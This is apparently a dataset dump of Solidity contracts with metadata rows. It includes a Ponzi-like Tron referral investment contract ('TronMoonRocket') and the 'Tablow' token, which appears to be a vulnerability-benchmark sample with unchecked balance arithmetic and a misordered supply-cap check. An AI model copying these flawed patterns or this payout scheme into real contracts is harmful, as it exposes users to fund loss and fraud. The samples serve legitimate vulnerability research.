require((now >= PRE_SALE_START && now <= PRE_SALE_END) || (now >= SALE_START && now <= SALE_END));
uint amount = msg.value;
amountRaised += amount;
if (now >= SALE_START && now <= SALE_END) {
assert(icoBuyers[msg.sender] + msg.value >= msg.value);
icoBuyers[msg.sender] += amount;
}
uint tokenAmount = amount * getPrice();
require(tokenAmount > getMinimumAmount());
uint allTokens = tokenAmount + getBonus(tokenAmount);
tokenSold += allTokens;
if (now >= PRE_SALE_START && now <= PRE_SALE_END) {
require(tokenSold <= PRE_SALE_MAX_CAP);
}
if (now >= SALE_START && now <= SALE_END) {
require(tokenSold <= SALE_MAX_CAP);
}
token.transfer(msg.sender, allTokens);
}
function transferEther(address _to, uint _amount) public isOwner {
require(_amount <= address(this).balance - alfatokenFee);
require(now < SALE_START || stage == Stages.Ended);
_to.transfer(_amount);
}
function transferFee(address _to, uint _amount) public {
require(msg.sender == alfatokenteam);
require(_amount <= alfatokenFee);
alfatokenFee -= _amount;
_to.transfer(_amount);
}
function endSale(address _to) public isOwner {
require(amountRaised >= SALE_MIN_CAP);
token.transfer(_to, tokenSold*3/7);
token.burn(token.balanceOf(address(this)));
stage = Stages.Ended;
}
function cancelSale() public {
require(amountRaised < SALE_MIN_CAP);
require(now > SALE_END);
stage = Stages.Canceled;
}
function takeEtherBack() public atStage(Stages.Canceled) returns (bool) {
return proxyTakeEtherBack(msg.sender);
}
function proxyTakeEtherBack(address receiverAddress) public atStage(Stages.Canceled) returns (bool) {
require(receiverAddress != 0x0);
if (icoBuyers[receiverAddress] == 0) {
return false;
}
uint amount = icoBuyers[receiverAddress];
icoBuyers[receiverAddress] = 0;
receiverAddress.transfer(amount);
assert(icoBuyers[receiverAddress] == 0);
return true;
}
function getBonus(uint amount) public view returns (uint) {
if (now >= PRE_SALE_START && now <= PRE_SALE_END) {
uint w = now - PRE_SALE_START;
if (w <= 1 weeks) {
return amount * PRE_SALE_1WEEK_BONUS/100;
}
if (w > 1 weeks && w <= 2 weeks) {
return amount * PRE_SALE_2WEEK_BONUS/100;
}
if (w > 2 weeks && w <= 3 weeks) {
return amount * PRE_SALE_3WEEK_BONUS/100;
}
if (w > 3 weeks && w <= 4 weeks) {
return amount * PRE_SALE_4WEEK_BONUS/100;
}
return 0;
}
if (now >= SALE_START && now <= SALE_END) {
uint w2 = now - SALE_START;
if (w2 <= 1 weeks) {
return amount * SALE_1WEEK_BONUS/100;
}
if (w2 > 1 weeks && w2 <= 2 weeks) {
return amount * SALE_2WEEK_BONUS/100;
}
if (w2 > 2 weeks && w2 <= 3 weeks) {
return amount * SALE_3WEEK_BONUS/100;
}
if (w2 > 3 weeks && w2 <= 4 weeks) {
return amount * SALE_4WEEK_BONUS/100;
}
return 0;
}
return 0;
}
function getPrice() public view returns (uint) {
if (now >= PRE_SALE_START && now <= PRE_SALE_END) {
return PRE_SALE_PRICE;
}
if (now >= SALE_START && now <= SALE_END) {
return SALE_PRICE;
}
return 0;
}
function getMinimumAmount() public view returns (uint) {
if (now >= PRE_SALE_START && now <= PRE_SALE_END) {
return PRE_SALE_MIN_BUY;
}
if (now >= SALE_START && now <= SALE_END) {
return SALE_MIN_BUY;
}
return 0;
}
}
| 181,883 | 10,631 |
5764deac285e6faf004bf32ea5b57bc85449d546dd8d3dbe6afc663a7716b81d
| 25,134 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TDzQmUwKy87pNMEupJkoaLRaaYvjToHREP_TronMoonRocket.sol
| 5,328 | 19,716 |
//SourceUnit: TronMoonRocket.sol
pragma solidity 0.5.9;
contract TronMoonRocket {
using SafeMath for uint256;
// Operating costs
uint256 constant public MARKETING_FEE = 40;
uint256 constant public ADMIN_FEE = 20;
uint256 constant public DEV_FEE = 60;
uint256 constant public INSURANCE_FEE = 50;
uint256 constant public PERCENTS_DIVIDER = 1000;
// Referral percentages
uint8 public constant FIRST_REF = 5;
uint8 public constant SECOND_REF = 3;
uint8 public constant THIRD_REF = 2;
uint8 public constant FOURTH_REF = 1;
uint8 public constant FIFTH_REF = 4;
// Limits
uint256 public constant DEPOSIT_MIN_AMOUNT = 200e6;
uint256 public constant MAX_REFERENCE_STEP = 500000e6;
uint256 public constant WITHDRAW_MAX_AMOUNT_NOM = 500000e6; // Before reinvest
uint8 public constant MAX_WITHDRAW_HALVING_THRESHOLD = 8; // Expressed in extra days (0 to 9)
uint256 public constant WITHDRAW_MIN_AMOUNT = 50e6; // Before reinvest
uint256 public constant TIME_UNIT = 1 days; // Must be 1 days (if not debug)
uint256 public constant WITHDRAWAL_DEADTIME_NOM = TIME_UNIT;
// Max ROC days and related MAX ROC (Return of contribution)
uint8 public constant CONTRIBUTION_DAYS = 100;
uint256 public constant CONTRIBUTION_PERC = 300;
// Auto-redeposit during withdraw
uint8 public constant AUTO_REINVEST_PERCENTAGE = 35;
// Operating addresses
address payable public insuranceWallet; // Manual Insurance Wallet
address payable public marketingAddress; // Marketing manager
address payable public adminAddress; // Project manager
address payable public devAddress; // Developer
uint256 public total_investors;
uint256 public total_contributed;
uint256 public total_withdrawn;
uint256 public total_referral_bonus;
uint8[] public referral_bonuses;
uint256 public max_reference = 0;
uint256 public withdrawal_deadtime;
uint256 public withdraw_max_amount;
struct PlayerDeposit {
uint256 amount;
uint256 totalWithdraw;
uint256 time;
}
struct PlayerWitdraw{
uint256 time;
uint256 amount;
}
struct Player {
address referral;
uint256 dividends;
uint256 referral_bonus;
uint256 last_payout;
uint256 last_withdrawal;
uint256 total_contributed;
uint256 total_withdrawn;
uint256 total_referral_bonus;
PlayerDeposit[] deposits;
PlayerWitdraw[] withdrawals;
mapping(uint8 => uint256) referrals_per_level;
}
mapping(address => Player) public players;
mapping(address => bool) public enabled_plan_contract;
event Deposit(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event ReDeposit(address indexed addr, uint256 amount);
event ReferralPayout(address indexed addr, uint256 amount, uint8 level);
constructor(address payable marketingAddr, address payable adminAddr, address payable devAddr, address payable insuranceAddr) public {
require(!isContract(marketingAddr) && !isContract(adminAddr) && !isContract(devAddr));
marketingAddress = marketingAddr;
adminAddress = adminAddr;
devAddress = devAddr;
insuranceWallet = insuranceAddr;
// Add referral bonuses (max 8 levels) - We use 5 levels
referral_bonuses.push(10 * FIRST_REF);
referral_bonuses.push(10 * SECOND_REF);
referral_bonuses.push(10 * THIRD_REF);
referral_bonuses.push(10 * FOURTH_REF);
referral_bonuses.push(10 * FIFTH_REF);
// Set initial limits
withdrawal_deadtime = WITHDRAWAL_DEADTIME_NOM;
withdraw_max_amount = WITHDRAW_MAX_AMOUNT_NOM;
}
// Fallback function to send money to the contract from other contracts (eg. other plans)
function () external payable {
require(msg.value > 0, "Send some TRX!");
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function deposit(address _referral) external payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(!isContract(_referral));
require(msg.value >= 1e8, "Zero amount");
require(msg.value >= DEPOSIT_MIN_AMOUNT, "Deposit is below minimum amount");
Player storage player = players[msg.sender];
require(player.deposits.length < 1500, "Max 1500 deposits per address");
// Check and set referral (register user if not registered)
_setReferral(msg.sender, _referral);
// Create deposit
player.deposits.push(PlayerDeposit({
amount: msg.value,
totalWithdraw: 0,
time: uint256(block.timestamp)
}));
// Add new user if this is first deposit
if(player.total_contributed == 0x0){
total_investors += 1;
}
player.total_contributed += msg.value;
total_contributed += msg.value;
// Generate referral rewards
_referralPayout(msg.sender, msg.value);
// Pay fees
_feesPayout(msg.value);
emit Deposit(msg.sender, msg.value);
// Update dynamic limits
update_dynamic_limits();
}
function registerUserFromPlan(address _addr, address _referral) external {
require(enabled_plan_contract[msg.sender], "Only a plan contract can register a new user");
_setReferral(_addr, _referral);
}
function _setReferral(address _addr, address _referral) private {
// Set referral if the user is a new user
if(players[_addr].referral == address(0)) {
if(players[_referral].referral != address(0) && _referral != _addr) {
players[_addr].referral = _referral;
} else {
players[_addr].referral = adminAddress;
}
// Update the referral counters
for(uint8 i = 0; i < referral_bonuses.length; i++) {
players[_referral].referrals_per_level[i]++;
if (_referral == adminAddress) break;
_referral = players[_referral].referral;
if(_referral == address(0)) break;
}
}
}
function _referralPayout(address _addr, uint256 _amount) private {
address ref = players[_addr].referral;
// Generate upline rewards
for(uint8 i = 0; i < referral_bonuses.length; i++) {
if (ref == address(0)) break;
uint256 bonus = _amount * referral_bonuses[i] / 1000;
players[ref].referral_bonus += bonus;
players[ref].total_referral_bonus += bonus;
total_referral_bonus += bonus;
emit ReferralPayout(ref, bonus, (i+1));
if (ref == adminAddress) break;
ref = players[ref].referral;
}
}
function _feesPayout(uint256 _amount) private {
// Send fees if there is enough balance
if (address(this).balance > _feesTotal(_amount)) {
insuranceWallet.transfer(_amount.mul(INSURANCE_FEE).div(PERCENTS_DIVIDER));
marketingAddress.transfer(_amount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
adminAddress.transfer(_amount.mul(ADMIN_FEE).div(PERCENTS_DIVIDER));
devAddress.transfer(_amount.mul(DEV_FEE).div(PERCENTS_DIVIDER));
}
}
// Total fees amount
function _feesTotal(uint256 _amount) private pure returns(uint256 fees_tot) {
fees_tot = _amount.mul(MARKETING_FEE+ADMIN_FEE+DEV_FEE+INSURANCE_FEE).div(PERCENTS_DIVIDER);
}
function withdraw() public {
Player storage player = players[msg.sender];
require(uint256(block.timestamp) > (player.last_withdrawal + withdrawal_deadtime) || (player.withdrawals.length <= 0), "You cannot withdraw during deadtime");
require(address(this).balance > 0, "Cannot withdraw, contract balance is 0");
require(player.deposits.length < 1500, "Max 1500 deposits per address");
// User must do at least 1 deposit to be able to withdraw something (for example the referral bonus)
require(player.deposits.length > 0, "You must do at leas one deposit to be able to withdraw");
// Calculate dividends (ROC)
uint256 payout = this.payoutOf(msg.sender);
player.dividends += payout;
// Calculate the amount we should withdraw
uint256 amount_withdrawable = player.dividends + player.referral_bonus;
require(amount_withdrawable > 0, "Zero amount to withdraw");
require(amount_withdrawable >= WITHDRAW_MIN_AMOUNT, "Minimum withdrawable amount not reached");
// Max withdrawable amount (before reinvest) each time we withdraw
if (amount_withdrawable > withdraw_max_amount){
amount_withdrawable = withdraw_max_amount;
}
// Calculate the reinvest part and the wallet part
uint256 autoReinvestAmount = amount_withdrawable.mul(AUTO_REINVEST_PERCENTAGE).div(100);
uint256 withdrawableLessAutoReinvest = amount_withdrawable.sub(autoReinvestAmount);
// Do Withdraw
if (address(this).balance <= withdrawableLessAutoReinvest) {
// Recalculate if contract balance is not enough and disable auto-reinvest
withdrawableLessAutoReinvest = address(this).balance;
amount_withdrawable = withdrawableLessAutoReinvest;
autoReinvestAmount = 0;
}
msg.sender.transfer(withdrawableLessAutoReinvest);
// Update player state
player.dividends = (player.dividends + player.referral_bonus).sub(amount_withdrawable);
player.referral_bonus = 0;
player.total_withdrawn += amount_withdrawable; // Include reinvested part (like if we withdraw and then redeposit)
total_withdrawn += amount_withdrawable; // Include reinvested part (like if we withdraw and then redeposit)
player.last_withdrawal = uint256(block.timestamp);
// If there were new dividends, update the payout timestamp
if(payout > 0) {
_updateTotalPayout(msg.sender);
player.last_payout = uint256(block.timestamp);
}
// Add the withdrawal to the list of the done withdrawals
player.withdrawals.push(PlayerWitdraw({
time: uint256(block.timestamp),
amount: amount_withdrawable
}));
emit Withdraw(msg.sender, amount_withdrawable);
// Do the forced reinvest of part of the withdrawn amount
if (autoReinvestAmount > 0) {
reinvest(msg.sender, autoReinvestAmount);
}
// Update dynamic limits
update_dynamic_limits();
}
function reinvest(address _addrs, uint256 _amount) private {
Player storage player = players[_addrs];
// Create new deposit
player.deposits.push(PlayerDeposit({
amount: _amount,
totalWithdraw: 0,
time: uint256(block.timestamp)
}));
player.total_contributed += _amount;
total_contributed += _amount;
// Generate referral rewards
_referralPayout(_addrs, _amount);
// Pay fees
_feesPayout(_amount);
emit ReDeposit(_addrs, _amount);
}
// Dynamic dumping prevention algorithm
function update_dynamic_limits() private {
// Update max reference if needed
if (address(this).balance >= max_reference + MAX_REFERENCE_STEP) {
max_reference = uint256(address(this).balance / MAX_REFERENCE_STEP) * MAX_REFERENCE_STEP; // rounded using steps of MAX_REFERENCE_STEP
}
if (address(this).balance < max_reference) {
// Determine slot
uint256 ten_percent = max_reference * 10 / 100;
uint8 extra_days = 10 - uint8(address(this).balance / ten_percent + 1);
// Deadtime is nominal deadtime (eg. 1 day) + extra days. It will be 1 to 10 days
uint256 new_deadtime = extra_days * TIME_UNIT + WITHDRAWAL_DEADTIME_NOM;
// Change the limits dynamically
if (new_deadtime != withdrawal_deadtime) {
// update value
withdrawal_deadtime = new_deadtime;
if (extra_days >= MAX_WITHDRAW_HALVING_THRESHOLD && withdraw_max_amount == WITHDRAW_MAX_AMOUNT_NOM) {
withdraw_max_amount = WITHDRAW_MAX_AMOUNT_NOM / 2;
} else if (extra_days < MAX_WITHDRAW_HALVING_THRESHOLD && withdraw_max_amount != WITHDRAW_MAX_AMOUNT_NOM) {
withdraw_max_amount = WITHDRAW_MAX_AMOUNT_NOM;
}
}
} else {
if (withdrawal_deadtime != WITHDRAWAL_DEADTIME_NOM) {
withdrawal_deadtime = WITHDRAWAL_DEADTIME_NOM;
}
if (withdraw_max_amount != WITHDRAW_MAX_AMOUNT_NOM) {
withdraw_max_amount = WITHDRAW_MAX_AMOUNT_NOM;
}
}
}
function _updateTotalPayout(address _addr) private {
Player storage player = players[_addr];
// For every deposit calculate the ROC and update the withdrawn part
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 time_end = dep.time + CONTRIBUTION_DAYS * TIME_UNIT;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
player.deposits[i].totalWithdraw += dep.amount * (to - from) * CONTRIBUTION_PERC / CONTRIBUTION_DAYS / (TIME_UNIT * 100);
}
}
}
function withdrawalsOf(address _addrs) view external returns(uint256 _amount) {
Player storage player = players[_addrs];
// Calculate all the withdrawn amount (redeposit included)
for(uint256 n = 0; n < player.withdrawals.length; n++){
_amount += player.withdrawals[n].amount;
}
return _amount;
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
// For every deposit calculate the ROC
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 time_end = dep.time + CONTRIBUTION_DAYS * TIME_UNIT;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
value += dep.amount * (to - from) * CONTRIBUTION_PERC / CONTRIBUTION_DAYS / (TIME_UNIT * 100);
}
}
// Total dividends from all deposits
return value;
}
function contractInfo() view external returns(uint256 _total_contributed, uint256 _total_investors, uint256 _total_withdrawn, uint256 _total_referral_bonus) {
return (total_contributed, total_investors, total_withdrawn, total_referral_bonus);
}
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 withdrawable_referral_bonus, uint256 invested, uint256 withdrawn, uint256 referral_bonus, uint256[8] memory referrals, uint256 _last_withdrawal) {
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
// Calculate number of referrals for each level
for(uint8 i = 0; i < referral_bonuses.length; i++) {
referrals[i] = player.referrals_per_level[i];
}
// Return user information
return (payout + player.dividends + player.referral_bonus,
player.referral_bonus,
player.total_contributed,
player.total_withdrawn,
player.total_referral_bonus,
referrals,
player.last_withdrawal);
}
function getUplineArray(address _addr) public view returns(address[] memory upline) {
address current_parent = _addr;
// Determine the hierarchy length
uint8 ref_len = 0;
for(uint8 i = 0; i < referral_bonuses.length; i++) {
current_parent = players[current_parent].referral;
if (current_parent == address(0)) {
break;
} else if (current_parent == adminAddress) {
ref_len++;
break;
} else {
ref_len++;
}
}
upline = new address[](ref_len);
// Update the referral counters
current_parent = _addr;
for(uint8 i = 0; i < ref_len; i++) {
current_parent = players[current_parent].referral;
upline[i] = current_parent;
}
}
function contributionsInfo(address _addr) view external returns(uint256[] memory endTimes, uint256[] memory amounts, uint256[] memory totalWithdraws) {
Player storage player = players[_addr];
uint256[] memory _endTimes = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _totalWithdraws = new uint256[](player.deposits.length);
// Create arrays with deposits info, each index is related to a deposit
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
_amounts[i] = dep.amount;
_totalWithdraws[i] = dep.totalWithdraw;
_endTimes[i] = dep.time + CONTRIBUTION_DAYS * TIME_UNIT;
}
return (_endTimes,
_amounts,
_totalWithdraws);
}
// Returns the enabled status for the withdraw button and the countdown in seconds
function getWithdrawEnabledAndCountdown(address _addr) public view returns(bool enabled, uint256 countdown_sec, uint256 end_timestamp) {
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
// countdown is the time from now to the end of current deadtime
bool at_least_one_deposit = (player.deposits.length > 0);
bool deadtime_expired = (block.timestamp > (player.last_withdrawal + withdrawal_deadtime) || player.withdrawals.length <= 0);
uint256 amount_withdrawable = payout + player.dividends + player.referral_bonus;
bool withdraw_requires = (amount_withdrawable >= WITHDRAW_MIN_AMOUNT);
enabled = at_least_one_deposit && deadtime_expired && withdraw_requires;
if (!deadtime_expired) {
end_timestamp = player.last_withdrawal + withdrawal_deadtime;
countdown_sec = end_timestamp - block.timestamp;
} else {
countdown_sec = 0;
end_timestamp = 0;
}
}
function addNewPlanContract(address plan_contract) external {
require(msg.sender == adminAddress, "Only admin can add a new plan contract");
enabled_plan_contract[plan_contract] = true;
}
}
// Libraries used
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 297,192 | 10,632 |
f71b186bd38eda05207eff72781062870ba04eca45c76c4028bcf1385828bd15
| 15,685 |
.sol
|
Solidity
| false |
410736639
|
SoftSec-KAIST/Smartian-Artifact
|
33c42ba3f2b2f60093173801433b6fd7f3dd710d
|
benchmarks/B3/sol/0xc5903fe72a9530e4382187f729ccc050d7e89fae.sol
| 3,496 | 13,876 |
pragma solidity ^0.4.10;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ERC223 {
function balanceOf(address who) constant returns (uint);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract Tablow is ERC223 {
using SafeMath for uint;
string public symbol = "TC";
string public name = "Tablow Club";
uint8 public constant decimals = 18;
uint256 _totalSupply = 0;
uint256 _MaxDistribPublicSupply = 0;
uint256 _OwnerDistribSupply = 0;
uint256 _CurrentDistribPublicSupply = 0;
uint256 _FreeTokens = 0;
uint256 _Multiplier1 = 2;
uint256 _Multiplier2 = 3;
uint256 _LimitMultiplier1 = 4e15;
uint256 _LimitMultiplier2 = 8e15;
uint256 _HighDonateLimit = 5e16;
uint256 _BonusTokensPerETHdonated = 0;
address _DistribFundsReceiverAddress = 0;
address _remainingTokensReceiverAddress = 0;
address owner = 0;
bool setupDone = false;
bool IsDistribRunning = false;
bool DistribStarted = false;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _owner, uint256 _value);
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => bool) public Claimed;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Tablow() public {
owner = msg.sender;
}
function() public payable {
if (IsDistribRunning) {
uint256 _amount;
if (((_CurrentDistribPublicSupply + _amount) > _MaxDistribPublicSupply) && _MaxDistribPublicSupply > 0) revert();
if (!_DistribFundsReceiverAddress.send(msg.value)) revert();
if (Claimed[msg.sender] == false) {
_amount = _FreeTokens * 1e18;
_CurrentDistribPublicSupply += _amount;
balances[msg.sender] += _amount;
_totalSupply += _amount;
Transfer(this, msg.sender, _amount);
Claimed[msg.sender] = true;
}
require(msg.value <= _HighDonateLimit);
if (msg.value >= 1e15) {
if (msg.value >= _LimitMultiplier2) {
_amount = msg.value * _BonusTokensPerETHdonated * _Multiplier2;
} else {
if (msg.value >= _LimitMultiplier1) {
_amount = msg.value * _BonusTokensPerETHdonated * _Multiplier1;
} else {
_amount = msg.value * _BonusTokensPerETHdonated;
}
}
_CurrentDistribPublicSupply += _amount;
balances[msg.sender] += _amount;
_totalSupply += _amount;
Transfer(this, msg.sender, _amount);
}
} else {
revert();
}
}
function SetupToken(string tokenName, string tokenSymbol, uint256 BonusTokensPerETHdonated, uint256 MaxDistribPublicSupply, uint256 OwnerDistribSupply, address remainingTokensReceiverAddress, address DistribFundsReceiverAddress, uint256 FreeTokens) public {
if (msg.sender == owner && !setupDone) {
symbol = tokenSymbol;
name = tokenName;
_FreeTokens = FreeTokens;
_BonusTokensPerETHdonated = BonusTokensPerETHdonated;
_MaxDistribPublicSupply = MaxDistribPublicSupply * 1e18;
if (OwnerDistribSupply > 0) {
_OwnerDistribSupply = OwnerDistribSupply * 1e18;
_totalSupply = _OwnerDistribSupply;
balances[owner] = _totalSupply;
_CurrentDistribPublicSupply += _totalSupply;
Transfer(this, owner, _totalSupply);
}
_DistribFundsReceiverAddress = DistribFundsReceiverAddress;
if (_DistribFundsReceiverAddress == 0) _DistribFundsReceiverAddress = owner;
_remainingTokensReceiverAddress = remainingTokensReceiverAddress;
setupDone = true;
}
}
function SetupMultipliers(uint256 Multiplier1inX, uint256 Multiplier2inX, uint256 LimitMultiplier1inWei, uint256 LimitMultiplier2inWei, uint256 HighDonateLimitInWei) onlyOwner public {
_Multiplier1 = Multiplier1inX;
_Multiplier2 = Multiplier2inX;
_LimitMultiplier1 = LimitMultiplier1inWei;
_LimitMultiplier2 = LimitMultiplier2inWei;
_HighDonateLimit = HighDonateLimitInWei;
}
function SetBonus(uint256 BonusTokensPerETHdonated) onlyOwner public {
_BonusTokensPerETHdonated = BonusTokensPerETHdonated;
}
function SetFreeTokens(uint256 FreeTokens) onlyOwner public {
_FreeTokens = FreeTokens;
}
function StartDistrib() public returns(bool success) {
if (msg.sender == owner && !DistribStarted && setupDone) {
DistribStarted = true;
IsDistribRunning = true;
} else {
revert();
}
return true;
}
function StopDistrib() public returns(bool success) {
if (msg.sender == owner && IsDistribRunning) {
if (_remainingTokensReceiverAddress != 0 && _MaxDistribPublicSupply > 0) {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
if (_remainingAmount > 0) {
balances[_remainingTokensReceiverAddress] += _remainingAmount;
_totalSupply += _remainingAmount;
Transfer(this, _remainingTokensReceiverAddress, _remainingAmount);
}
}
DistribStarted = false;
IsDistribRunning = false;
} else {
revert();
}
return true;
}
function distribution(address[] addresses, uint256 _amount) onlyOwner public {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
require(addresses.length <= 255);
require(_amount <= _remainingAmount);
_amount = _amount * 1e18;
for (uint i = 0; i < addresses.length; i++) {
require(_amount <= _remainingAmount);
_CurrentDistribPublicSupply += _amount;
balances[addresses[i]] += _amount;
_totalSupply += _amount;
Transfer(this, addresses[i], _amount);
}
if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) {
DistribStarted = false;
IsDistribRunning = false;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner public {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
uint256 _amount;
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
_amount = amounts[i] * 1e18;
require(_amount <= _remainingAmount);
_CurrentDistribPublicSupply += _amount;
balances[addresses[i]] += _amount;
_totalSupply += _amount;
Transfer(this, addresses[i], _amount);
if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) {
DistribStarted = false;
IsDistribRunning = false;
}
}
}
function BurnTokens(uint256 amount) public returns(bool success) {
uint256 _amount = amount * 1e18;
if (balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
_totalSupply -= _amount;
Burn(msg.sender, _amount);
Transfer(msg.sender, 0, _amount);
} else {
revert();
}
return true;
}
function totalSupply() public constant returns(uint256 totalSupplyValue) {
return _totalSupply;
}
function MaxDistribPublicSupply_() public constant returns(uint256 MaxDistribPublicSupply) {
return _MaxDistribPublicSupply;
}
function OwnerDistribSupply_() public constant returns(uint256 OwnerDistribSupply) {
return _OwnerDistribSupply;
}
function CurrentDistribPublicSupply_() public constant returns(uint256 CurrentDistribPublicSupply) {
return _CurrentDistribPublicSupply;
}
function RemainingTokensReceiverAddress() public constant returns(address remainingTokensReceiverAddress) {
return _remainingTokensReceiverAddress;
}
function DistribFundsReceiverAddress() public constant returns(address DistribfundsReceiver) {
return _DistribFundsReceiverAddress;
}
function Owner() public constant returns(address ownerAddress) {
return owner;
}
function SetupDone() public constant returns(bool setupDoneFlag) {
return setupDone;
}
function IsDistribRunningFalg_() public constant returns(bool IsDistribRunningFalg) {
return IsDistribRunning;
}
function IsDistribStarted() public constant returns(bool IsDistribStartedFlag) {
return DistribStarted;
}
function transfer(address _to, uint _value) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _allowance) returns (bool success) {
if (_allowance <= _totalSupply) {
allowed[msg.sender][_spender] = _allowance;
Approval(msg.sender, _spender, _allowance);
return true;
} else {
return false;
}
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
} else {
return false;
}
}
function transferToAddress(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _address) internal returns (bool is_contract) {
uint length;
if (_address == 0) return false;
assembly {
length := extcodesize(_address)
}
if(length > 0) {
return true;
} else {
return false;
}
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function balanceOf(address _owner) public constant returns(uint256 balance) {
return balances[_owner];
}
}
| 20,059 | 10,633 |
732e62e33124800acf07d470bb3df68607979e49aa019407b5c3e97fdad0df54
| 26,617 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/4e/4e8e41ed5fefb073aD6429743B255901a7331D21_Treasury.sol
| 5,894 | 23,466 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
